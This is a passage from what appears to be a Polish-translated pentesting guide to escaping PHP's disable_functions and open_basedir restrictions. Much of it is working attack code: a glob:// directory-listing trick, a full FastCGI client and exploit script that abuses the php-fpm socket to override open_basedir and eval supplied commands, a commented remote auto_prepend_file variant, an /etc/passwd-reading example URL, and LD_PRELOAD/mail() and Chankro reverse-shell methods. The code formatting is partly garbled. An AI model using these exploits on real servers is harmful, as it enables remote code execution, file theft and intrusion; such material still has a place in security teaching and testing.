mail / mb_send_mail - Ta funkcja służy do wysyłania wiadomości e-mail, ale może być również nadużywana do wstrzykiwania arbitralnych poleceń wewnątrz parametru $options. Dzieje się tak, ponieważ funkcja mail w PHP zazwyczaj wywołuje binarny sendmail w systemie i pozwala na dodawanie dodatkowych opcji. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, dlatego zaleca się utworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonuje go za pomocą maila i drukuje wynik:
dl - Ta funkcja może być używana do dynamicznego ładowania rozszerzenia PHP. Funkcja ta nie zawsze będzie dostępna, dlatego należy sprawdzić, czy jest dostępna, zanim spróbujesz jej użyć do ataku. Przeczytaj tę stronę, aby dowiedzieć się, jak wykorzystać tę funkcję.
Wykonanie kodu PHP
Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w postaci podatności na Włączenie Lokalnego Pliku i Włączenie Zdalnego Pliku.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Wyłączone funkcje to ustawienie, które można skonfigurować w plikach .ini w PHP, które zabrania użycia wskazanych funkcji. Open basedir to ustawienie, które wskazuje PHP folder, do którego ma dostęp.
Ustawienia PHP powinny być skonfigurowane w ścieżce /etc/php7/conf.d lub podobnej.
Obie konfiguracje można zobaczyć w wyniku działania phpinfo():
open_basedir Bypass
open_basedir skonfiguruje foldery, do których PHP ma dostęp, nie będziesz w stanie zapisywać/odczytywać/wykonuj pliki poza tymi folderami, ale również nie będziesz nawet mógł wyświetlić innych katalogów.
Jednak jeśli w jakiś sposób uda ci się wykonać dowolny kod PHP, możesz spróbować poniższego fragmentu kodu, aby obejść ograniczenie.
Wyświetlanie katalogów za pomocą bypassu glob://
W tym pierwszym przykładzie użyty jest protokół glob:// z pewnym obejściem ścieżki:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Uwaga1: W ścieżce można również użyć /e??/* aby wyświetlić /etc/* i dowolny inny folder.
Uwaga2: Wygląda na to, że część kodu jest zduplikowana, ale jest to konieczne!
Uwaga3: Ten przykład jest przydatny tylko do wyświetlania folderów, a nie do czytania plików
Jeśli chcesz dowiedzieć się więcej o PHP-FPM i FastCGI, możesz przeczytać pierwszą sekcję tej strony.
Jeśli php-fpm jest skonfigurowany, można go nadużyć, aby całkowicie ominąć open_basedir:
Zauważ, że pierwszą rzeczą, którą musisz zrobić, jest znalezienie, gdzie znajduje się gniazdo unixowe php-fpm. Zazwyczaj jest to pod /var/run, więc możesz użyć poprzedniego kodu, aby wyświetlić katalog i je znaleźć.
Kod z tutaj.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Złe żądanie');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Ta aplikacja nie może wykonywać wielokrotnych połączeń [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Nowe żądanie odrzucone; zbyt zajęty [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Nieznana wartość roli [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// prawdziwy exploit zaczyna się tutajif (!isset($_REQUEST['cmd'])) {die("Sprawdź swoje dane wejściowe\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // ładunek php -- Nic nie robi$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Ten skrypty będą komunikować się z gniazdem unix php-fpm (zazwyczaj znajdującym się w /var/run, jeśli jest używany fpm) w celu wykonania dowolnego kodu. Ustawienia open_basedir zostaną nadpisane przez atrybut PHP_VALUE, który jest wysyłany.
Zauważ, jak używane jest eval do wykonania kodu PHP, który wysyłasz wewnątrz parametru cmd.
Zauważ również zakomentowaną linię 324, możesz ją odkomentować, a payload automatycznie połączy się z podanym adresem URL i wykonana zostanie zawarta tam kody PHP.
Wystarczy wejść na http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); aby uzyskać zawartość pliku /etc/passwd.
Możesz myśleć, że w taki sam sposób, w jaki nadpisaliśmy konfigurację open_basedir, możemy nadpisać disable_functions. Spróbuj, ale nie zadziała, wygląda na to, że disable_functions można skonfigurować tylko w pliku konfiguracyjnym php.ini i zmiany dokonane za pomocą PHP_VALUE nie będą miały wpływu na tę konkretne ustawienie.
bypass disable_functions
Jeśli uda ci się uruchomić kod PHP wewnątrz maszyny, prawdopodobnie chcesz przejść do następnego poziomu i wykonać dowolne polecenia systemowe. W tej sytuacji zazwyczaj odkrywasz, że większość lub wszystkie funkcje PHP, które pozwalają na wykonywanie poleceń systemowych, zostały wyłączone w disable_functions.
Zobaczmy więc, jak możesz ominąć to ograniczenie (jeśli możesz)
Po prostu wróć na początek tej strony i sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i jest dostępna w środowisku. Jeśli znajdziesz choć jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.
Omijanie za pomocą LD_PRELOAD
Jest powszechnie znane, że niektóre funkcje w PHP, takie jak mail(), będą wykonywać binaria wewnątrz systemu. Dlatego możesz je wykorzystać, używając zmiennej środowiskowej LD_PRELOAD, aby załadować dowolną bibliotekę, która może wykonać cokolwiek.
Funkcje, które można użyć do omijania disable_functions za pomocą LD_PRELOAD
mail
mb_send_mail: Skuteczne, gdy zainstalowany jest moduł php-mbstring.
imap_mail: Działa, jeśli moduł php-imap jest obecny.
libvirt_connect: Wymaga modułu php-libvirt-php.
gnupg_init: Możliwe do wykorzystania z zainstalowanym modułem php-gnupg.
new imagick(): Ta klasa może być nadużyta do ominięcia ograniczeń. Szczegółowe techniki eksploatacji można znaleźć w obszernym opisie tutaj.
Możesz znaleźć tutaj skrypt fuzzingowy, który został użyty do znalezienia tych funkcji.
Oto biblioteka, którą możesz skompilować, aby wykorzystać zmienną środowiskową LD_PRELOAD:
Aby wykorzystać tę konfigurację zabezpieczeń, możesz użyć Chankro. Jest to narzędzie, które generuje exploit w PHP, który musisz przesłać na podatny serwer i uruchomić (uzyskać do niego dostęp za pośrednictwem sieci).
Chankro zapisze w dysku ofiary bibliotekę i odwrócony shell, który chcesz uruchomić, i wykorzysta sztuczkę z**LD_PRELOAD oraz funkcję PHP mail()** do uruchomienia odwróconego shella.
Zauważ, że aby użyć Chankro, mail i putenvnie mogą znajdować się na liście disable_functions.
W poniższym przykładzie możesz zobaczyć, jak utworzyć exploit chankro dla arch 64, który wykona polecenie whoami i zapisze wynik w /tmp/chankro_shell.out, chankro zapisze bibliotekę i ładunek w /tmp, a ostateczny exploit będzie nosił nazwę bicho.php (to jest plik, który musisz przesłać na serwer ofiary):
#!/bin/shwhoami >/tmp/chankro_shell.out
Włączanie i wyłączanie funkcji PHP za pomocą disable_functions i bypassowanie open_basedir
Zauważ, że za pomocą PHP możesz czytać i pisać pliki, tworzyć katalogi i zmieniać uprawnienia.
Możesz nawet dumpować bazy danych.
Być może za pomocą PHP do wyliczenia pudełka znajdziesz sposób na eskalację uprawnień/wykonanie poleceń (na przykład odczytanie pewnego prywatnego klucza ssh).
Te funkcje akceptują parametr typu string, który może być użyty do wywołania funkcji wybranej przez atakującego. W zależności od funkcji atakujący może lub nie może mieć możliwość przekazania parametru. W takim przypadku można użyć funkcji ujawniania informacji, takiej jak phpinfo().
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Ujawnienie informacji
Większość tych wywołań funkcji nie jest ujściami. Ale może to być podatność, jeśli jakiekolwiek zwrócone dane są widoczne dla atakującego. Jeśli atakujący może zobaczyć phpinfo(), jest to zdecydowanie podatność.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Funkcje systemu plików
Zgodnie z RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich wydają się mało przydatne dla atakującego. Inne są bardziej przydatne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL można użyć jako ścieżki pliku, więc wywołanie copy($_GET['s'], $_GET['d']); można użyć do przesłania skryptu PHP w dowolne miejsce w systemie. Ponadto, jeśli witryna jest podatna na żądanie wysłane za pomocą GET, każda z tych funkcji systemu plików może być wykorzystana do przekierowania ataku na inny host poprzez serwer.
Zapisz do systemu plików (częściowo w połączeniu z odczytem)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir